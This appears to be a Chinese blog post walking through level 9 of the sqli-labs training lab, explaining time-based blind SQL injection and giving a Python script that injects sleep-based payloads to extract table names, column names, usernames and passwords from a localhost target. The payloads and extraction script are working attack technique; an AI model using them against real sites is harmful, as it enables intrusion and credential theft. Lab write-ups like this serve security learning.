当前位置:网站首页>sqlilabs less9
sqlilabs less9
2022-07-01 14:03:00 【永远是深夜该多好。】
第九关提示是基于时间的盲注,首先先来了解一下必要的函数
sleep(time) 仅在MySQL 5之后可用。等待time那么多秒
benchmark(count,expr) 重复执行expr count次,用来测试MySql执行表达式的速度。
if(condition,when_ture,when_false) 如果满足condition,就 执行或打印when_ture,否则就执行或打印when_false
满足condition
不满足condition
先来判断注入类型


用了 1’、1"、1 没有反应,为什么没反应呢,我猜想可能是因为服务器无论正确与否只会发送You are in…这一个数据,所以需要一些方法来发现是否正确,所以就有时间盲注,通过观察等待时间判断正确与否。
猜测可能是这样
if ((select * from tables where id = value) 有内容)
print You are in.....
else
print You are in.....
好了来实践一下
可以看到没有等待时间
等待了五秒,说明了什么,说明是字符型注入
先来判断列数
列数判断完以后就能开始下一步工作了
找到数据库名字长度是8
找数据库名字
找表名
属性名和元组值相同
不过手动时间盲注太过于麻烦,可以考虑burp suite,或者手写脚本。
import requests
def zr(url,zrname):
array1 = "abcdefghijklmnopqrstuvwxyz_-.,"
proof = "0000ff"
tmp = zrname
zrname = ''
for i in range(1,100):
url1 = url + str(i) + ',1)=\''
for s in array1:
url2 = url1 + s + '\',sleep(0.1),1)%23'
r = requests.get(url2)
if proof in r.text:
zrname += s
print( tmp + ": " + zrname)
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),','tablename')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\'),','columnslist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(username) from users),','usernamelist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(password) from users),','passwordlist')

啊,为什么判断条件是0000ff啊
我注意到正确的sql它有个这个
错误的就没有
总结一下
如果遇到有些情况,页面只有一种结果无法判断正确或者注入类型,就可以用时间盲注来通过等待时间判断正确。
边栏推荐
- 8 best practices to protect your IAC security!
- 【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板
- 光环效应——谁说头上有光的就算英雄
- 使用 Lambda 函数URL + CloudFront 实现S3镜像回源
- 玩转gRPC—不同编程语言间通信
- The best landing practice of cave state in an Internet ⽹⾦ financial technology enterprise
- MySQL日志
- 用栈实现队列、用队列实现栈(C语言_leetcode_232+225)
- 【商业终端仿真解决方案】上海道宁为您带来Georgia介绍、试用、教程
- Yan Rong looks at how to formulate a multi cloud strategy in the era of hybrid cloud
猜你喜欢

玩转MongoDB—搭建MongoDB集群

Use the npoi package of net core 6 C to read excel Pictures in xlsx cells and stored to the specified server

After being laid off for three months, the interview ran into a wall everywhere, and the mentality has begun to collapse

用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍

This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI

Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its

Understand the window query function of tdengine in one article

QT learning management system

【241. 为运算表达式设计优先级】

B站被骂上了热搜。。
随机推荐
Fiori 应用通过 Adaptation Project 的增强方式分享
This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI
Logic is a good thing
Enter the top six! Boyun's sales ranking in China's cloud management software market continues to rise
Simplex, half duplex, full duplex, TDD and FDD
玩转gRPC—不同编程语言间通信
QT community management system
Several models of IO blocking, non blocking, IO multiplexing, signal driven and asynchronous IO
Chen Yu (Aqua) - Safety - & gt; Cloud Security - & gt; Multicloud security
那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!
深度合作 | 涛思数据携手长虹佳华为中国区客户提供 TDengine 强大企业级产品与完善服务保障
SWT/ANR问题--当发送ANR/SWT时候如何打开binder trace(BinderTraces)
8 best practices to protect your IAC security!
自定义注解实现验证信息的功能
Summary of interview questions (1) HTTPS man in the middle attack, the principle of concurrenthashmap, serialVersionUID constant, redis single thread,
Understand the window query function of tdengine in one article
百度上找的期货公司安全吗?期货公司怎么确定正规
开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
Basic concepts of programming
基于算力驱动、数据与功能协同的分布式动态(协同)渲染/功能运行时



